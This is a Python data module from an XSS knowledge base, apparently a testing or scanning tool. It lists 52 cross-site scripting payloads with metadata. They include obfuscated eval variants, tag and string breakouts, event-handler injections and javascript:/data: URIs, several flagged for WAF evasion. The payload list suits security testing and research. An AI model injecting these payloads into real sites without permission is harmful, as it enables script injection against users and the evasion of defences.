#!/usr/bin/env python3
"""
Project: BRS-KB (BRS XSS Knowledge Base)
Company: EasyProTech LLC (www.easypro.tech)
Dev: Brabus
Date: 2025-12-27 UTC
Status: Refactored
Telegram: https://t.me/EasyProTech

Advanced Core Payloads - Part 1
"""

from typing import Dict

from ..models import PayloadEntry


ADVANCED_CORE_PAYLOADS_PART1: Dict[str, PayloadEntry] = {
    "advanced_001": PayloadEntry(
        payload='<script>alert(atob("WFNT"))</script>',
        contexts=["html_content", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Advanced payload",
        tags=["advanced", "obfuscation"],
        waf_evasion=False,
    ),
    "advanced_002": PayloadEntry(
        payload='<script>alert(unescape("%58%53%53"))</script>',
        contexts=["html_content", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Advanced payload",
        tags=["advanced", "obfuscation"],
        waf_evasion=False,
    ),
    "advanced_003": PayloadEntry(
        payload='<script>alert(decodeURI("%58%53%53"))</script>',
        contexts=["html_content", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Advanced payload",
        tags=["advanced", "obfuscation"],
        waf_evasion=False,
    ),
    "advanced_004": PayloadEntry(
        payload='<script>alert(decodeURIComponent("%58%53%53"))</script>',
        contexts=["html_content", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Advanced payload",
        tags=["advanced", "obfuscation"],
        waf_evasion=False,
    ),
    "advanced_005": PayloadEntry(
        payload='<script>({}).constructor.constructor("alert(1)")()</script>',
        contexts=["html_content", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Advanced payload",
        tags=["advanced", "obfuscation"],
        waf_evasion=False,
    ),
    "advanced_006": PayloadEntry(
        payload='<script>(function(){}).constructor("alert(1)")()</script>',
        contexts=["html_content", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Advanced payload",
        tags=["advanced", "obfuscation"],
        waf_evasion=False,
    ),
    "advanced_007": PayloadEntry(
        payload='<script>Array.constructor.constructor("alert(1)")()</script>',
        contexts=["html_content", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Advanced payload",
        tags=["advanced", "obfuscation"],
        waf_evasion=False,
    ),
    "advanced_008": PayloadEntry(
        payload='<script>Object.constructor.constructor("alert(1)")()</script>',
        contexts=["html_content", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Advanced payload",
        tags=["advanced", "obfuscation"],
        waf_evasion=False,
    ),
    "advanced_009": PayloadEntry(
        payload='<script>Function.constructor("alert(1)")()</script>',
        contexts=["html_content", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Advanced payload",
        tags=["advanced", "obfuscation"],
        waf_evasion=False,
    ),
    "advanced_010": PayloadEntry(
        payload="<script>setTimeout(alert,1,1)</script>",
        contexts=["html_content", "javascript", "dom_xss_eval"],
        severity="critical",
        cvss_score=8.5,
        description="setTimeout with function reference and args - code execution",
        tags=["advanced", "setTimeout", "code-execution"],
        waf_evasion=True,
    ),
    "advanced_011": PayloadEntry(
        payload="<script>setInterval(alert,1,1)</script>",
        contexts=["html_content", "javascript", "dom_xss_eval"],
        severity="critical",
        cvss_score=8.5,
        description="setInterval with function reference and args - code execution",
        tags=["advanced", "setInterval", "code-execution"],
        waf_evasion=True,
    ),
    "advanced_012": PayloadEntry(
        payload="<script>requestAnimationFrame(alert.bind(null,1))</script>",
        contexts=["html_content", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Advanced payload",
        tags=["advanced", "obfuscation"],
        waf_evasion=False,
    ),
    "advanced_013": PayloadEntry(
        payload="<script>Promise.resolve().then(alert.bind(null,1))</script>",
        contexts=["html_content", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Advanced payload",
        tags=["advanced", "obfuscation"],
        waf_evasion=False,
    ),
    "advanced_014": PayloadEntry(
        payload="<script>new Promise(alert.bind(null,1))</script>",
        contexts=["html_content", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Advanced payload",
        tags=["advanced", "obfuscation"],
        waf_evasion=False,
    ),
    "advanced_015": PayloadEntry(
        payload="<script>eval`alert\\`1\\``</script>",
        contexts=["html_content", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Advanced payload",
        tags=["advanced", "obfuscation"],
        waf_evasion=False,
    ),
    "advanced_016": PayloadEntry(
        payload="<script>Function`alert\\`1\\```</script>",
        contexts=["html_content", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Advanced payload",
        tags=["advanced", "obfuscation"],
        waf_evasion=False,
    ),
    "advanced_017": PayloadEntry(
        payload="<script>setTimeout`alert\\`1\\``,1`</script>",
        contexts=["html_content", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Advanced payload",
        tags=["advanced", "obfuscation"],
        waf_evasion=False,
    ),
    "advanced_018": PayloadEntry(
        payload="<script>\\x61\\x6C\\x65\\x72\\x74(1)</script>",
        contexts=["html_content", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Advanced payload",
        tags=["advanced", "obfuscation"],
        waf_evasion=False,
    ),
    "advanced_019": PayloadEntry(
        payload='<script>eval("\\u0061\\u006C\\u0065\\u0072\\u0074(1)")</script>',
        contexts=["html_content", "javascript", "dom_xss_eval"],
        severity="critical",
        cvss_score=8.5,
        description="eval with unicode escape - code execution",
        tags=["advanced", "obfuscation", "eval", "code-execution"],
        waf_evasion=True,
    ),
    "advanced_020": PayloadEntry(
        payload='<script>eval("\\x61\\x6C\\x65\\x72\\x74(1)")</script>',
        contexts=["html_content", "javascript", "dom_xss_eval"],
        severity="critical",
        cvss_score=8.5,
        description="eval with hex escape - code execution",
        tags=["advanced", "obfuscation", "eval", "code-execution"],
        waf_evasion=True,
    ),
    "advanced_021": PayloadEntry(
        payload='<script>eval("\\141\\154\\145\\162\\164(1)")</script>',
        contexts=["html_content", "javascript", "dom_xss_eval"],
        severity="critical",
        cvss_score=8.5,
        description="eval with octal escape - code execution",
        tags=["advanced", "obfuscation", "eval", "code-execution"],
        waf_evasion=True,
    ),
    "advanced_022": PayloadEntry(
        payload="<script>\\141\\154\\145\\162\\164(1)</script>",
        contexts=["html_content", "javascript"],
        severity="critical",
        cvss_score=8.5,
        description="Octal escape in script - code execution",
        tags=["advanced", "obfuscation", "code-execution"],
        waf_evasion=True,
    ),
    "advanced_023": PayloadEntry(
        payload='<script>eval("ale"+"rt(1)")</script>',
        contexts=["html_content", "javascript", "dom_xss_eval"],
        severity="critical",
        cvss_score=8.5,
        description="eval with string concatenation - code execution",
        tags=["advanced", "obfuscation", "eval", "code-execution"],
        waf_evasion=True,
    ),
    "advanced_024": PayloadEntry(
        payload="<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>",
        contexts=["html_content", "javascript", "dom_xss_eval"],
        severity="critical",
        cvss_score=8.5,
        description="eval with fromCharCode - code execution",
        tags=["advanced", "obfuscation", "eval", "code-execution"],
        waf_evasion=True,
    ),
    "advanced_025": PayloadEntry(
        payload='<script>eval(atob("YWxlcnQoMSk="))</script>',
        contexts=["html_content", "javascript", "dom_xss_eval"],
        severity="critical",
        cvss_score=8.5,
        description="eval with base64 decode - code execution",
        tags=["advanced", "obfuscation", "eval", "base64", "code-execution"],
        waf_evasion=True,
    ),
    "advanced_026": PayloadEntry(
        payload='<script>eval(unescape("%61%6C%65%72%74%28%31%29"))</script>',
        contexts=["html_content", "javascript", "dom_xss_eval"],
        severity="critical",
        cvss_score=8.5,
        description="eval with URL decode - code execution",
        tags=["advanced", "obfuscation", "eval", "code-execution"],
        waf_evasion=True,
    ),
    "advanced_027": PayloadEntry(
        payload="'><script>alert(1)</script>",
        contexts=["html_content", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Advanced payload",
        tags=["advanced", "obfuscation"],
        waf_evasion=False,
    ),
    "advanced_028": PayloadEntry(
        payload="';alert(1);//",
        contexts=["html_content", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Advanced payload",
        tags=["advanced", "obfuscation"],
        waf_evasion=False,
    ),
    "advanced_029": PayloadEntry(
        payload='";alert(1);//',
        contexts=["html_content", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Advanced payload",
        tags=["advanced", "obfuscation"],
        waf_evasion=False,
    ),
    "advanced_030": PayloadEntry(
        payload="`><script>alert(1)</script>",
        contexts=["html_content", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Advanced payload",
        tags=["advanced", "obfuscation"],
        waf_evasion=False,
    ),
    "advanced_031": PayloadEntry(
        payload="</script><script>alert(1)</script>",
        contexts=["html_content", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Advanced payload",
        tags=["advanced", "obfuscation"],
        waf_evasion=False,
    ),
    "advanced_032": PayloadEntry(
        payload="</title><script>alert(1)</script>",
        contexts=["html_content", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Advanced payload",
        tags=["advanced", "obfuscation"],
        waf_evasion=False,
    ),
    "advanced_033": PayloadEntry(
        payload="</textarea><script>alert(1)</script>",
        contexts=["html_content", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Advanced payload",
        tags=["advanced", "obfuscation"],
        waf_evasion=False,
    ),
    "advanced_034": PayloadEntry(
        payload="</style><script>alert(1)</script>",
        contexts=["html_content", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Advanced payload",
        tags=["advanced", "obfuscation"],
        waf_evasion=False,
    ),
    "advanced_035": PayloadEntry(
        payload="</noscript><script>alert(1)</script>",
        contexts=["html_content", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Advanced payload",
        tags=["advanced", "obfuscation"],
        waf_evasion=False,
    ),
    "advanced_036": PayloadEntry(
        payload="</comment><script>alert(1)</script>",
        contexts=["html_content", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Advanced payload",
        tags=["advanced", "obfuscation"],
        waf_evasion=False,
    ),
    "advanced_037": PayloadEntry(
        payload=" onmouseover=alert(1) ",
        contexts=["html_content", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Advanced payload",
        tags=["advanced", "obfuscation"],
        waf_evasion=False,
    ),
    "advanced_038": PayloadEntry(
        payload=" onclick=alert(1) ",
        contexts=["html_content", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Advanced payload",
        tags=["advanced", "obfuscation"],
        waf_evasion=False,
    ),
    "advanced_039": PayloadEntry(
        payload=" onfocus=alert(1) ",
        contexts=["html_content", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Advanced payload",
        tags=["advanced", "obfuscation"],
        waf_evasion=False,
    ),
    "advanced_040": PayloadEntry(
        payload=" onload=alert(1) ",
        contexts=["html_content", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Advanced payload",
        tags=["advanced", "obfuscation"],
        waf_evasion=False,
    ),
    "advanced_041": PayloadEntry(
        payload=" onerror=alert(1) ",
        contexts=["html_content", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Advanced payload",
        tags=["advanced", "obfuscation"],
        waf_evasion=False,
    ),
    "advanced_042": PayloadEntry(
        payload=" autofocus onfocus=alert(1) ",
        contexts=["html_content", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Advanced payload",
        tags=["advanced", "obfuscation"],
        waf_evasion=False,
    ),
    "advanced_043": PayloadEntry(
        payload=" contenteditable onblur=alert(1) ",
        contexts=["html_content", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Advanced payload",
        tags=["advanced", "obfuscation"],
        waf_evasion=False,
    ),
    "advanced_044": PayloadEntry(
        payload=" draggable ondragstart=alert(1) ",
        contexts=["html_content", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Advanced payload",
        tags=["advanced", "obfuscation"],
        waf_evasion=False,
    ),
    "advanced_045": PayloadEntry(
        payload="vbscript:alert(1)",
        contexts=["html_content", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Advanced payload",
        tags=["advanced", "obfuscation"],
        waf_evasion=False,
    ),
    "advanced_046": PayloadEntry(
        payload="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==",
        contexts=["html_content", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Advanced payload",
        tags=["advanced", "obfuscation"],
        waf_evasion=False,
    ),
    "advanced_047": PayloadEntry(
        payload="url(javascript:alert(1))",
        contexts=["html_content", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Advanced payload",
        tags=["advanced", "obfuscation"],
        waf_evasion=False,
    ),
    "advanced_048": PayloadEntry(
        payload="/**/alert(1)/**/",
        contexts=["html_content", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Advanced payload",
        tags=["advanced", "obfuscation"],
        waf_evasion=False,
    ),
    "advanced_049": PayloadEntry(
        payload=";alert(1);",
        contexts=["html_content", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Advanced payload",
        tags=["advanced", "obfuscation"],
        waf_evasion=False,
    ),
    "advanced_050": PayloadEntry(
        payload="}alert(1);/*",
        contexts=["html_content", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Advanced payload",
        tags=["advanced", "obfuscation"],
        waf_evasion=False,
    ),
    "advanced_051": PayloadEntry(
        payload="*{xss:expression(alert(1))}",
        contexts=["html_content", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Advanced payload",
        tags=["advanced", "obfuscation"],
        waf_evasion=False,
    ),
    "advanced_052": PayloadEntry(
        payload="<script>window[String.fromCharCode(97,108,101,114,116)](1)</script>",
        contexts=["html_content", "js_string"],
        severity="medium",
        cvss_score=5.5,
        description="Advanced payload",
        tags=["advanced", "obfuscation"],
        waf_evasion=False,
    ),
}
